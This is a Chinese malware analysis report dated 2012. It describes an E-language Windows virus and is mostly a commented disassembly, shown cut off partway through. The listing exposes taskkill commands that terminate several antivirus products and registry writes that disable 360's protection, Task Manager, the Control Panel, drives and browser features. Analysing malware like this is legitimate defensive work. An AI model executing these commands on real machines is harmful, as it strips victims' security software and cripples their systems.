一个简单的病毒分析

基本信息:

报告名称:对一恶意程序的分析

作者:Thend

报告更新时间:2012.09.17

样本发现时间:未知

样本类型:恶性病毒

样本文件MD5校验:654C2392FFD3D4A6843CF86100940779

壳信息:无壳

语言:易语言

可能受到威胁的系统:windows

相关漏洞:无

简介:

  病毒一开始反复弹出一个恶搞弹窗。然后去找市面上大部分杀软的进程,并杀掉。然后进行一系列的注册表操作,禁用和隐藏了计算机大部分功能,使得计算机无法工作。

被感染系统的症状:

  隐藏:所有的文件和文件夹,开始菜单中的”运行“、“关机”、“注销”、“搜索”、“登陆”,磁盘驱动器,驱动器,文件夹选项,IE主页选项组,IE文件菜单,IE收藏夹栏,internet选项。
禁用:控制面板,任务管理器,驱动器,打印,IE查看源文件,IE下载功能,右键关联,重启切换到DOS环境,文档菜单,鼠标右键。
关闭所有杀软。所有应用程序图标更改。修改.txt、.inf、.reg、.exe文件的关联。

文件系统变化:

  在C:\Windows\system32目录下生成了:43.vbs、24.bat、59.bat、6.vbs。执行完之后删除。

注册表变化:

  见代码分析~

对本体的分析:

  

  1 0040C155    55              push ebp                                             ;入口
  2 0040C156    8BEC            mov ebp,esp
  3 0040C158    81EC 1C000000   sub esp,0x1C
  4 0040C15E    68 04000080     push 0x80000004
  5 0040C163    6A 00           push 0x0
  6 0040C165    68 CB904000     push 样本.004090CB
  7 0040C16A    68 01000000     push 0x1
  8 0040C16F    BB 60010000     mov ebx,0x160
  9 0040C174    E8 AF230000     call 样本.0040E528                         ; 弹出一个弹窗
 10 0040C179    83C4 10         add esp,0x10
 11 0040C17C    68 03000080     push 0x80000003
 12 0040C181    52              push edx
 13 0040C182    50              push eax
 14 0040C183    68 01000000     push 0x1
 15 0040C188    BB 14020000     mov ebx,0x214
 16 0040C18D    E8 96230000     call 样本.0040E528                         ; 弹出一个弹窗
 17 0040C192    83C4 10         add esp,0x10
 18 0040C195    6A 00           push 0x0
 19 0040C197    6A 00           push 0x0
 20 0040C199    6A 00           push 0x0
 21 0040C19B    68 01030080     push 0x80000301
 22 0040C1A0    6A 00           push 0x0
 23 0040C1A2    68 14000000     push 0x14
 24 0040C1A7    68 04000080     push 0x80000004
 25 0040C1AC    6A 00           push 0x0
 26 0040C1AE    68 DA904000     push 样本.004090DA
 27 0040C1B3    68 03000000     push 0x3
 28 0040C1B8    BB 00030000     mov ebx,0x300
 29 0040C1BD    E8 66230000     call 样本.0040E528                         ; 弹出一个弹窗
 30 0040C1C2    83C4 28         add esp,0x28
 31 0040C1C5    6A 00           push 0x0
 32 0040C1C7    6A 00           push 0x0
 33 0040C1C9    6A 00           push 0x0
 34 0040C1CB    68 01030080     push 0x80000301
 35 0040C1D0    6A 00           push 0x0
 36 0040C1D2    68 14000000     push 0x14
 37 0040C1D7    68 04000080     push 0x80000004
 38 0040C1DC    6A 00           push 0x0
 39 0040C1DE    68 DA904000     push 样本.004090DA
 40 0040C1E3    68 03000000     push 0x3
 41 0040C1E8    BB 00030000     mov ebx,0x300
 42 0040C1ED    E8 36230000     call 样本.0040E528                         ; 弹出一个弹窗
 43 0040C1F2    83C4 28         add esp,0x28
 44 0040C1F5    6A 00           push 0x0
 45 0040C1F7    6A 00           push 0x0
 46 0040C1F9    6A 00           push 0x0
 47 0040C1FB    68 01030080     push 0x80000301
 48 0040C200    6A 00           push 0x0
 49 0040C202    68 14000000     push 0x14
 50 0040C207    68 04000080     push 0x80000004
 51 0040C20C    6A 00           push 0x0
 52 0040C20E    68 DA904000     push 样本.004090DA
 53 0040C213    68 03000000     push 0x3
 54 0040C218    BB 00030000     mov ebx,0x300
 55 0040C21D    E8 06230000     call 样本.0040E528                         ; 弹出一个弹窗
 56 0040C222    83C4 28         add esp,0x28
 57 0040C225    6A 00           push 0x0
 58 0040C227    6A 00           push 0x0
 59 0040C229    6A 00           push 0x0
 60 0040C22B    68 01030080     push 0x80000301
 61 0040C230    6A 00           push 0x0
 62 0040C232    68 14000000     push 0x14
 63 0040C237    68 04000080     push 0x80000004
 64 0040C23C    6A 00           push 0x0
 65 0040C23E    68 DA904000     push 样本.004090DA
 66 0040C243    68 03000000     push 0x3
 67 0040C248    BB 00030000     mov ebx,0x300
 68 0040C24D    E8 D6220000     call 样本.0040E528                         ; 弹出一个弹窗
 69 0040C252    83C4 28         add esp,0x28
 70 0040C255    68 01030080     push 0x80000301
 71 0040C25A    6A 00           push 0x0
 72 0040C25C    68 01000000     push 0x1
 73 0040C261    68 02000080     push 0x80000002
 74 0040C266    6A 00           push 0x0
 75 0040C268    68 00000000     push 0x0
 76 0040C26D    68 04000080     push 0x80000004
 77 0040C272    6A 00           push 0x0
 78 0040C274    68 F1904000     push 样本.004090F1                         ; ASCII "taskkill /f /im kavsvc.exe"
 79 0040C279    68 03000000     push 0x3
 80 0040C27E    BB C0020000     mov ebx,0x2C0
 81 0040C283    E8 A0220000     call 样本.0040E528                         ; 关闭卡巴
 82 0040C288    83C4 28         add esp,0x28
 83 0040C28B    68 01030080     push 0x80000301
 84 0040C290    6A 00           push 0x0
 85 0040C292    68 01000000     push 0x1
 86 0040C297    68 02000080     push 0x80000002
 87 0040C29C    6A 00           push 0x0
 88 0040C29E    68 00000000     push 0x0
 89 0040C2A3    68 04000080     push 0x80000004
 90 0040C2A8    6A 00           push 0x0
 91 0040C2AA    68 0C914000     push 样本.0040910C                         ; ASCII "taskkill /f /im KVXP.kxp"
 92 0040C2AF    68 03000000     push 0x3
 93 0040C2B4    BB C0020000     mov ebx,0x2C0
 94 0040C2B9    E8 6A220000     call 样本.0040E528                         ; 关闭江民
 95 0040C2BE    83C4 28         add esp,0x28
 96 0040C2C1    68 01030080     push 0x80000301
 97 0040C2C6    6A 00           push 0x0
 98 0040C2C8    68 01000000     push 0x1
 99 0040C2CD    68 02000080     push 0x80000002
100 0040C2D2    6A 00           push 0x0
101 0040C2D4    68 00000000     push 0x0
102 0040C2D9    68 04000080     push 0x80000004
103 0040C2DE    6A 00           push 0x0
104 0040C2E0    68 25914000     push 样本.00409125                         ; ASCII "taskkill /f /im Rav.exe"
105 0040C2E5    68 03000000     push 0x3
106 0040C2EA    BB C0020000     mov ebx,0x2C0
107 0040C2EF    E8 34220000     call 样本.0040E528                         ; 关闭瑞星相关进程
108 0040C2F4    83C4 28         add esp,0x28
109 0040C2F7    68 01030080     push 0x80000301
110 0040C2FC    6A 00           push 0x0
111 0040C2FE    68 01000000     push 0x1
112 0040C303    68 02000080     push 0x80000002
113 0040C308    6A 00           push 0x0
114 0040C30A    68 00000000     push 0x0
115 0040C30F    68 04000080     push 0x80000004
116 0040C314    6A 00           push 0x0
117 0040C316    68 3D914000     push 样本.0040913D                         ; ASCII "taskkill /f /im Ravmon.exe"
118 0040C31B    68 03000000     push 0x3
119 0040C320    BB C0020000     mov ebx,0x2C0
120 0040C325    E8 FE210000     call 样本.0040E528                         ; 关闭瑞星相关进程
121 0040C32A    83C4 28         add esp,0x28
122 0040C32D    68 01030080     push 0x80000301
123 0040C332    6A 00           push 0x0
124 0040C334    68 01000000     push 0x1
125 0040C339    68 02000080     push 0x80000002
126 0040C33E    6A 00           push 0x0
127 0040C340    68 00000000     push 0x0
128 0040C345    68 04000080     push 0x80000004
129 0040C34A    6A 00           push 0x0
130 0040C34C    68 58914000     push 样本.00409158                         ; ASCII "taskkill /f /im Mcshield.exe"
131 0040C351    68 03000000     push 0x3
132 0040C356    BB C0020000     mov ebx,0x2C0
133 0040C35B    E8 C8210000     call 样本.0040E528                         ; 关闭McAfee VirusScan核心进程
134 0040C360    83C4 28         add esp,0x28
135 0040C363    68 01030080     push 0x80000301
136 0040C368    6A 00           push 0x0
137 0040C36A    68 01000000     push 0x1
138 0040C36F    68 02000080     push 0x80000002
139 0040C374    6A 00           push 0x0
140 0040C376    68 00000000     push 0x0
141 0040C37B    68 04000080     push 0x80000004
142 0040C380    6A 00           push 0x0
143 0040C382    68 75914000     push 样本.00409175                         ; ASCII "taskkill /f /im VsTskMgr.exe"
144 0040C387    68 03000000     push 0x3
145 0040C38C    BB C0020000     mov ebx,0x2C0
146 0040C391    E8 92210000     call 样本.0040E528                         ; 关闭McAfee Internet Security网络安全套装的一部分
147 0040C396    83C4 28         add esp,0x28
148 0040C399    68 01030080     push 0x80000301
149 0040C39E    6A 00           push 0x0
150 0040C3A0    68 00000000     push 0x0
151 0040C3A5    68 04000080     push 0x80000004
152 0040C3AA    6A 00           push 0x0
153 0040C3AC    68 92914000     push 样本.00409192                         ; ASCII "SOFTWARE\360Safe\safemon\ExecAccess"
154 0040C3B1    68 01030080     push 0x80000301
155 0040C3B6    6A 00           push 0x0
156 0040C3B8    68 04000000     push 0x4
157 0040C3BD    68 03000000     push 0x3
158 0040C3C2    BB A4060000     mov ebx,0x6A4
159 0040C3C7    E8 5C210000     call 样本.0040E528                         ; 设置ExecAccess的键值为 0
160 0040C3CC    83C4 28         add esp,0x28
161 0040C3CF    68 01030080     push 0x80000301
162 0040C3D4    6A 00           push 0x0
163 0040C3D6    68 00000000     push 0x0
164 0040C3DB    68 04000080     push 0x80000004
165 0040C3E0    6A 00           push 0x0
166 0040C3E2    68 B6914000     push 样本.004091B6                         ; ASCII "SOFTWARE\360Safe\safemon\MonAccess"
167 0040C3E7    68 01030080     push 0x80000301
168 0040C3EC    6A 00           push 0x0
169 0040C3EE    68 04000000     push 0x4
170 0040C3F3    68 03000000     push 0x3
171 0040C3F8    BB A4060000     mov ebx,0x6A4
172 0040C3FD    E8 26210000     call 样本.0040E528                         ; 设置MonAccess的键值为0
173 0040C402    83C4 28         add esp,0x28
174 0040C405    68 01030080     push 0x80000301
175 0040C40A    6A 00           push 0x0
176 0040C40C    68 00000000     push 0x0
177 0040C411    68 04000080     push 0x80000004
178 0040C416    6A 00           push 0x0
179 0040C418    68 D9914000     push 样本.004091D9                         ; ASCII "SOFTWARE\360Safe\safemon\SiteAccess"
180 0040C41D    68 01030080     push 0x80000301
181 0040C422    6A 00           push 0x0
182 0040C424    68 04000000     push 0x4
183 0040C429    68 03000000     push 0x3
184 0040C42E    BB A4060000     mov ebx,0x6A4
185 0040C433    E8 F0200000     call 样本.0040E528                         ; 设置SiteAccess的键值为0
186 0040C438    83C4 28         add esp,0x28
187 0040C43B    68 01030080     push 0x80000301
188 0040C440    6A 00           push 0x0
189 0040C442    68 00000000     push 0x0
190 0040C447    68 04000080     push 0x80000004
191 0040C44C    6A 00           push 0x0
192 0040C44E    68 FD914000     push 样本.004091FD                         ; ASCII "SOFTWARE\360Safe\safemon\UDiskAccess"
193 0040C453    68 01030080     push 0x80000301
194 0040C458    6A 00           push 0x0
195 0040C45A    68 04000000     push 0x4
196 0040C45F    68 03000000     push 0x3
197 0040C464    BB A4060000     mov ebx,0x6A4
198 0040C469    E8 BA200000     call 样本.0040E528                         ; 设置UDiskAccess的键值为0
199 0040C46E    83C4 28         add esp,0x28
200 0040C471    68 01030080     push 0x80000301
201 0040C476    6A 00           push 0x0
202 0040C478    68 01000000     push 0x1
203 0040C47D    68 02000080     push 0x80000002
204 0040C482    6A 00           push 0x0
205 0040C484    68 00000000     push 0x0
206 0040C489    68 04000080     push 0x80000004
207 0040C48E    6A 00           push 0x0
208 0040C490    68 22924000     push 样本.00409222                         ; ASCII "taskkill /f /im 360tray.exe"
209 0040C495    68 03000000     push 0x3
210 0040C49A    BB C0020000     mov ebx,0x2C0
211 0040C49F    E8 84200000     call 样本.0040E528                         ; 杀掉360实时监控进程
212 0040C4A4    83C4 28         add esp,0x28
213 0040C4A7    68 04000080     push 0x80000004
214 0040C4AC    6A 00           push 0x0
215 0040C4AE    68 3E924000     push 样本.0040923E                         ; ASCII "jpegfile"
216 0040C4B3    68 04000080     push 0x80000004
217 0040C4B8    6A 00           push 0x0
218 0040C4BA    68 47924000     push 样本.00409247                         ; ASCII ".txt\"
219 0040C4BF    68 01030080     push 0x80000301
220 0040C4C4    6A 00           push 0x0
221 0040C4C6    68 01000000     push 0x1
222 0040C4CB    68 03000000     push 0x3
223 0040C4D0    BB A4060000     mov ebx,0x6A4
224 0040C4D5    E8 4E200000     call 样本.0040E528                         ; 修改.txt文件关联
225 0040C4DA    83C4 28         add esp,0x28
226 0040C4DD    68 04000080     push 0x80000004
227 0040C4E2    6A 00           push 0x0
228 0040C4E4    68 3E924000     push 样本.0040923E                         ; ASCII "jpegfile"
229 0040C4E9    68 04000080     push 0x80000004
230 0040C4EE    6A 00           push 0x0
231 0040C4F0    68 4D924000     push 样本.0040924D                         ; ASCII ".inf\"
232 0040C4F5    68 01030080     push 0x80000301
233 0040C4FA    6A 00           push 0x0
234 0040C4FC    68 01000000     push 0x1
235 0040C501    68 03000000     push 0x3
236 0040C506    BB A4060000     mov ebx,0x6A4
237 0040C50B    E8 18200000     call 样本.0040E528                         ; 修改.inf文件关联
238 0040C510    83C4 28         add esp,0x28
239 0040C513    68 01030080     push 0x80000301
240 0040C518    6A 00           push 0x0
241 0040C51A    68 00000000     push 0x0
242 0040C51F    68 04000080     push 0x80000004
243 0040C524    6A 00           push 0x0
244 0040C526    68 53924000     push 样本.00409253                         ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
245 0040C52B    68 01030080     push 0x80000301
246 0040C530    6A 00           push 0x0
247 0040C532    68 04000000     push 0x4
248 0040C537    68 03000000     push 0x3
249 0040C53C    BB A4060000     mov ebx,0x6A4
250 0040C541    E8 E21F0000     call 样本.0040E528                         ; 将CheckedValue的键值设置成0.  使系统无法显示隐藏文件
251 0040C546    83C4 28         add esp,0x28
252 0040C549    68 01030080     push 0x80000301
253 0040C54E    6A 00           push 0x0
254 0040C550    68 00000000     push 0x0
255 0040C555    68 04000080     push 0x80000004
256 0040C55A    6A 00           push 0x0
257 0040C55C    68 B2924000     push 样本.004092B2                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"
258 0040C561    68 01030080     push 0x80000301
259 0040C566    6A 00           push 0x0
260 0040C568    68 03000000     push 0x3
261 0040C56D    68 03000000     push 0x3
262 0040C572    BB A4060000     mov ebx,0x6A4
263 0040C577    E8 AC1F0000     call 样本.0040E528                         ; 禁用任务管理器
264 0040C57C    83C4 28         add esp,0x28
265 0040C57F    68 01030080     push 0x80000301
266 0040C584    6A 00           push 0x0
267 0040C586    68 01000000     push 0x1
268 0040C58B    68 04000080     push 0x80000004
269 0040C590    6A 00           push 0x0
270 0040C592    68 FB924000     push 样本.004092FB                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel"
271 0040C597    68 01030080     push 0x80000301
272 0040C59C    6A 00           push 0x0
273 0040C59E    68 03000000     push 0x3
274 0040C5A3    68 03000000     push 0x3
275 0040C5A8    BB A4060000     mov ebx,0x6A4
276 0040C5AD    E8 761F0000     call 样本.0040E528                         ; 禁用控制面板
277 0040C5B2    83C4 28         add esp,0x28
278 0040C5B5    68 01030080     push 0x80000301
279 0040C5BA    6A 00           push 0x0
280 0040C5BC    68 01000000     push 0x1
281 0040C5C1    68 04000080     push 0x80000004
282 0040C5C6    6A 00           push 0x0
283 0040C5C8    68 46934000     push 样本.00409346                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools"
284 0040C5CD    68 01030080     push 0x80000301
285 0040C5D2    6A 00           push 0x0
286 0040C5D4    68 03000000     push 0x3
287 0040C5D9    68 03000000     push 0x3
288 0040C5DE    BB A4060000     mov ebx,0x6A4
289 0040C5E3    E8 401F0000     call 样本.0040E528                         ; 隐藏开始菜单中的运行,禁止通过任务管理器创建新任务
290 0040C5E8    83C4 28         add esp,0x28
291 0040C5EB    68 01030080     push 0x80000301
292 0040C5F0    6A 00           push 0x0
293 0040C5F2    68 01000000     push 0x1
294 0040C5F7    68 04000080     push 0x80000004
295 0040C5FC    6A 00           push 0x0
296 0040C5FE    68 95934000     push 样本.00409395                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun"
297 0040C603    68 01030080     push 0x80000301
298 0040C608    6A 00           push 0x0
299 0040C60A    68 03000000     push 0x3
300 0040C60F    68 03000000     push 0x3
301 0040C614    BB A4060000     mov ebx,0x6A4
302 0040C619    E8 0A1F0000     call 样本.0040E528                         ; 隐藏“MS-DOS”下的磁盘驱动器。
303 0040C61E    83C4 28         add esp,0x28
304 0040C621    68 01030080     push 0x80000301
305 0040C626    6A 00           push 0x0
306 0040C628    68 01000000     push 0x1
307 0040C62D    68 04000080     push 0x80000004
308 0040C632    6A 00           push 0x0
309 0040C634    68 D7934000     push 样本.004093D7                         ; ASCII "SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled"
310 0040C639    68 01030080     push 0x80000301
311 0040C63E    6A 00           push 0x0
312 0040C640    68 03000000     push 0x3
313 0040C645    68 03000000     push 0x3
314 0040C64A    BB A4060000     mov ebx,0x6A4
315 0040C64F    E8 D41E0000     call 样本.0040E528                         ; 隐藏开始中的关机
316 0040C654    83C4 28         add esp,0x28
317 0040C657    68 01060080     push 0x80000601
318 0040C65C    68 FFFFEF41     push 0x41EFFFFF
319 0040C661    68 0000E0FF     push 0xFFE00000
320 0040C666    68 04000080     push 0x80000004
321 0040C66B    6A 00           push 0x0
322 0040C66D    68 21944000     push 样本.00409421                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives"
323 0040C672    68 01030080     push 0x80000301
324 0040C677    6A 00           push 0x0
325 0040C679    68 03000000     push 0x3
326 0040C67E    68 03000000     push 0x3
327 0040C683    BB A4060000     mov ebx,0x6A4
328 0040C688    E8 9B1E0000     call 样本.0040E528                         ; 隐藏所有驱动器
329 0040C68D    83C4 28         add esp,0x28
330 0040C690    68 01060080     push 0x80000601
331 0040C695    68 FFFFEF41     push 0x41EFFFFF
332 0040C69A    68 0000E0FF     push 0xFFE00000
333 0040C69F    68 04000080     push 0x80000004
334 0040C6A4    6A 00           push 0x0
335 0040C6A6    68 66944000     push 样本.00409466                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive"
336 0040C6AB    68 01030080     push 0x80000301
337 0040C6B0    6A 00           push 0x0
338 0040C6B2    68 03000000     push 0x3
339 0040C6B7    68 03000000     push 0x3
340 0040C6BC    BB A4060000     mov ebx,0x6A4
341 0040C6C1    E8 621E0000     call 样本.0040E528                         ; 禁止所有驱动器
342 0040C6C6    83C4 28         add esp,0x28
343 0040C6C9    68 01030080     push 0x80000301
344 0040C6CE    6A 00           push 0x0
345 0040C6D0    68 01000000     push 0x1
346 0040C6D5    68 04000080     push 0x80000004
347 0040C6DA    6A 00           push 0x0
348 0040C6DC    68 B0944000     push 样本.004094B0                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"
349 0040C6E1    68 01030080     push 0x80000301
350 0040C6E6    6A 00           push 0x0
351 0040C6E8    68 03000000     push 0x3
352 0040C6ED    68 03000000     push 0x3
353 0040C6F2    BB A4060000     mov ebx,0x6A4
354 0040C6F7    E8 2C1E0000     call 样本.0040E528                         ; 隐藏文件夹选项
355 0040C6FC    83C4 28         add esp,0x28
356 0040C6FF    68 01030080     push 0x80000301
357 0040C704    6A 00           push 0x0
358 0040C706    68 01000000     push 0x1
359 0040C70B    68 04000080     push 0x80000004
360 0040C710    6A 00           push 0x0
361 0040C712    68 FC944000     push 样本.004094FC                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop"
362 0040C717    68 01030080     push 0x80000301
363 0040C71C    6A 00           push 0x0
364 0040C71E    68 03000000     push 0x3
365 0040C723    68 03000000     push 0x3
366 0040C728    BB A4060000     mov ebx,0x6A4
367 0040C72D    E8 F61D0000     call 样本.0040E528                         ; 隐藏桌面对象
368 0040C732    83C4 28         add esp,0x28
369 0040C735    68 01030080     push 0x80000301
370 0040C73A    6A 00           push 0x0
371 0040C73C    68 01000000     push 0x1
372 0040C741    68 04000080     push 0x80000004
373 0040C746    6A 00           push 0x0
374 0040C748    68 42954000     push 样本.00409542                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose"
375 0040C74D    68 01030080     push 0x80000301
376 0040C752    6A 00           push 0x0
377 0040C754    68 03000000     push 0x3
378 0040C759    68 03000000     push 0x3
379 0040C75E    BB A4060000     mov ebx,0x6A4
380 0040C763    E8 C01D0000     call 样本.0040E528                         ; 隐藏开始中的关机
381 0040C768    83C4 28         add esp,0x28
382 0040C76B    68 01030080     push 0x80000301
383 0040C770    6A 00           push 0x0
384 0040C772    68 01000000     push 0x1
385 0040C777    68 04000080     push 0x80000004
386 0040C77C    6A 00           push 0x0
387 0040C77E    68 86954000     push 样本.00409586                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind"
388 0040C783    68 01030080     push 0x80000301
389 0040C788    6A 00           push 0x0
390 0040C78A    68 03000000     push 0x3
391 0040C78F    68 03000000     push 0x3
392 0040C794    BB A4060000     mov ebx,0x6A4
393 0040C799    E8 8A1D0000     call 样本.0040E528                         ; 隐藏开始中的搜索
394 0040C79E    83C4 28         add esp,0x28
395 0040C7A1    68 01030080     push 0x80000301
396 0040C7A6    6A 00           push 0x0
397 0040C7A8    68 01000000     push 0x1
398 0040C7AD    68 04000080     push 0x80000004
399 0040C7B2    6A 00           push 0x0
400 0040C7B4    68 C9954000     push 样本.004095C9                         ; ASCII "Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage"
401 0040C7B9    68 01030080     push 0x80000301
402 0040C7BE    6A 00           push 0x0
403 0040C7C0    68 03000000     push 0x3
404 0040C7C5    68 03000000     push 0x3
405 0040C7CA    BB A4060000     mov ebx,0x6A4
406 0040C7CF    E8 541D0000     call 样本.0040E528                         ; 隐藏IE主页选项
407 0040C7D4    83C4 28         add esp,0x28
408 0040C7D7    68 01030080     push 0x80000301
409 0040C7DC    6A 00           push 0x0
410 0040C7DE    68 01000000     push 0x1
411 0040C7E3    68 04000080     push 0x80000004
412 0040C7E8    6A 00           push 0x0
413 0040C7EA    68 0E964000     push 样本.0040960E                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu"
414 0040C7EF    68 01030080     push 0x80000301
415 0040C7F4    6A 00           push 0x0
416 0040C7F6    68 03000000     push 0x3
417 0040C7FB    68 03000000     push 0x3
418 0040C800    BB A4060000     mov ebx,0x6A4
419 0040C805    E8 1E1D0000     call 样本.0040E528                         ; 隐藏IE文件菜单
420 0040C80A    83C4 28         add esp,0x28
421 0040C80D    68 01030080     push 0x80000301
422 0040C812    6A 00           push 0x0
423 0040C814    68 01000000     push 0x1
424 0040C819    68 04000080     push 0x80000004
425 0040C81E    6A 00           push 0x0
426 0040C820    68 55964000     push 样本.00409655                         ; ASCII "Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites"
427 0040C825    68 01030080     push 0x80000301
428 0040C82A    6A 00           push 0x0
429 0040C82C    68 03000000     push 0x3
430 0040C831    68 03000000     push 0x3
431 0040C836    BB A4060000     mov ebx,0x6A4
432 0040C83B    E8 E81C0000     call 样本.0040E528                         ; 隐藏IE收藏文件夹
433 0040C840    83C4 28         add esp,0x28
434 0040C843    68 01030080     push 0x80000301
435 0040C848    6A 00           push 0x0
436 0040C84A    68 01000000     push 0x1
437 0040C84F    68 04000080     push 0x80000004
438 0040C854    6A 00           push 0x0
439 0040C856    68 9C964000     push 样本.0040969C                         ; ASCII "Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting"
440 0040C85B    68 01030080     push 0x80000301
441 0040C860    6A 00           push 0x0
442 0040C862    68 03000000     push 0x3
443 0040C867    68 03000000     push 0x3
444 0040C86C    BB A4060000     mov ebx,0x6A4
445 0040C871    E8 B21C0000     call 样本.0040E528                         ; 禁止IE打印功能
446 0040C876    83C4 28         add esp,0x28
447 0040C879    68 01030080     push 0x80000301
448 0040C87E    6A 00           push 0x0
449 0040C880    68 01000000     push 0x1
450 0040C885    68 04000080     push 0x80000004
451 0040C88A    6A 00           push 0x0
452 0040C88C    68 E2964000     push 样本.004096E2                         ; ASCII "Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions"
453 0040C891    68 01030080     push 0x80000301
454 0040C896    6A 00           push 0x0
455 0040C898    68 03000000     push 0x3
456 0040C89D    68 03000000     push 0x3
457 0040C8A2    BB A4060000     mov ebx,0x6A4
458 0040C8A7    E8 7C1C0000     call 样本.0040E528                         ; 禁止右键关联菜单
459 0040C8AC    83C4 28         add esp,0x28
460 0040C8AF    68 01030080     push 0x80000301
461 0040C8B4    6A 00           push 0x0
462 0040C8B6    68 01000000     push 0x1
463 0040C8BB    68 04000080     push 0x80000004
464 0040C8C0    6A 00           push 0x0
465 0040C8C2    68 2E974000     push 样本.0040972E                         ; ASCII "Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource"
466 0040C8C7    68 01030080     push 0x80000301
467 0040C8CC    6A 00           push 0x0
468 0040C8CE    68 03000000     push 0x3
469 0040C8D3    68 03000000     push 0x3
470 0040C8D8    BB A4060000     mov ebx,0x6A4
471 0040C8DD    E8 461C0000     call 样本.0040E528                         ; 禁止IE查看源文件
472 0040C8E2    83C4 28         add esp,0x28
473 0040C8E5    68 01030080     push 0x80000301
474 0040C8EA    6A 00           push 0x0
475 0040C8EC    68 03000000     push 0x3
476 0040C8F1    68 04000080     push 0x80000004
477 0040C8F6    6A 00           push 0x0
478 0040C8F8    68 76974000     push 样本.00409776                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803"
479 0040C8FD    68 01030080     push 0x80000301
480 0040C902    6A 00           push 0x0
481 0040C904    68 03000000     push 0x3
482 0040C909    68 03000000     push 0x3
483 0040C90E    BB A4060000     mov ebx,0x6A4
484 0040C913    E8 101C0000     call 样本.0040E528                         ; 禁止IE下载功能
485 0040C918    83C4 28         add esp,0x28
486 0040C91B    68 01030080     push 0x80000301
487 0040C920    6A 00           push 0x0
488 0040C922    68 01000000     push 0x1
489 0040C927    68 04000080     push 0x80000004
490 0040C92C    6A 00           push 0x0
491 0040C92E    68 BF974000     push 样本.004097BF                         ; ASCII "Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu"
492 0040C933    68 01030080     push 0x80000301
493 0040C938    6A 00           push 0x0
494 0040C93A    68 03000000     push 0x3
495 0040C93F    68 03000000     push 0x3
496 0040C944    BB A4060000     mov ebx,0x6A4
497 0040C949    E8 DA1B0000     call 样本.0040E528                         ; 禁止右键关联
498 0040C94E    83C4 28         add esp,0x28
499 0040C951    68 01030080     push 0x80000301
500 0040C956    6A 00           push 0x0
501 0040C958    68 01000000     push 0x1
502 0040C95D    68 04000080     push 0x80000004
503 0040C962    6A 00           push 0x0
504 0040C964    68 0F984000     push 样本.0040980F                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRealMode"
505 0040C969    68 01030080     push 0x80000301
506 0040C96E    6A 00           push 0x0
507 0040C970    68 03000000     push 0x3
508 0040C975    68 03000000     push 0x3
509 0040C97A    BB A4060000     mov ebx,0x6A4
510 0040C97F    E8 A41B0000     call 样本.0040E528                         ; 禁止重新启动计算机到MS-DOS环境
511 0040C984    83C4 28         add esp,0x28
512 0040C987    68 01030080     push 0x80000301
513 0040C98C    6A 00           push 0x0
514 0040C98E    68 01000000     push 0x1
515 0040C993    68 04000080     push 0x80000004
516 0040C998    6A 00           push 0x0
517 0040C99A    68 56984000     push 样本.00409856                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff"
518 0040C99F    68 01030080     push 0x80000301
519 0040C9A4    6A 00           push 0x0
520 0040C9A6    68 03000000     push 0x3
521 0040C9AB    68 03000000     push 0x3
522 0040C9B0    BB A4060000     mov ebx,0x6A4
523 0040C9B5    E8 6E1B0000     call 样本.0040E528                         ; 隐藏开始菜单中的登录项
524 0040C9BA    83C4 28         add esp,0x28
525 0040C9BD    68 01030080     push 0x80000301
526 0040C9C2    6A 00           push 0x0
527 0040C9C4    68 01000000     push 0x1
528 0040C9C9    68 04000080     push 0x80000004
529 0040C9CE    6A 00           push 0x0
530 0040C9D0    68 9B984000     push 样本.0040989B                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu"
531 0040C9D5    68 01030080     push 0x80000301
532 0040C9DA    6A 00           push 0x0
533 0040C9DC    68 03000000     push 0x3
534 0040C9E1    68 03000000     push 0x3
535 0040C9E6    BB A4060000     mov ebx,0x6A4
536 0040C9EB    E8 381B0000     call 样本.0040E528                         ; 隐藏开始菜单中的文档菜单
537 0040C9F0    83C4 28         add esp,0x28
538 0040C9F3    68 01030080     push 0x80000301
539 0040C9F8    6A 00           push 0x0
540 0040C9FA    68 01000000     push 0x1
541 0040C9FF    68 04000080     push 0x80000004
542 0040CA04    6A 00           push 0x0
543 0040CA06    68 56984000     push 样本.00409856                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff"
544 0040CA0B    68 01030080     push 0x80000301
545 0040CA10    6A 00           push 0x0
546 0040CA12    68 03000000     push 0x3
547 0040CA17    68 03000000     push 0x3
548 0040CA1C    BB A4060000     mov ebx,0x6A4
549 0040CA21    E8 021B0000     call 样本.0040E528                         ; 隐藏开始菜单中的登录项
550 0040CA26    83C4 28         add esp,0x28
551 0040CA29    68 01030080     push 0x80000301
552 0040CA2E    6A 00           push 0x0
553 0040CA30    68 01000000     push 0x1
554 0040CA35    68 04000080     push 0x80000004
555 0040CA3A    6A 00           push 0x0
